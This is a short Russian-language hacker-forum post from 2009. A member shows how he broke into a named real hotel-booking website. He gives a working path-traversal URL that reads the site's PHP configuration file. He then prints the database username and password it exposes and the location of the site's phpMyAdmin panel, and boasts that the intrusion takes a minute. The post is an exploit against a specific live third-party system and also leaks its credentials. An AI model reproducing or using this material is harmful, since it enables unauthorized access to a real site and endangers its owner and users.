22.12.2009, 18:50
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Сообщение от jecka3000
m0Hze, а какие именно? Можешь привести примеры?)
Pashkela, спб, но если честно, я не понял что дает твой линк  гораздо круче обычной скули, обычная читалка, но последствия ужасные для админа могут быть:
Код:
http://hotel.1000turov.ru/hoteld2.php?id=../../../../../../../../home/chobot/1000turov.ru/www/inc/my.php
смотрим сорцы, а там:
<?php
$connection = mysql_connect("localhost", "ayen", "chobot");
mysql_select_db("chobot", $connection);
?>
ну и осталось только phpmyadmin найти, что тоже оказалось легко:
Код:
http://hotel.1000turov.ru/myadmin/
дел ровно на 1 минуту. Привелегии не проверял (но новую БД почему-то можно создавать, гы)
|
|
|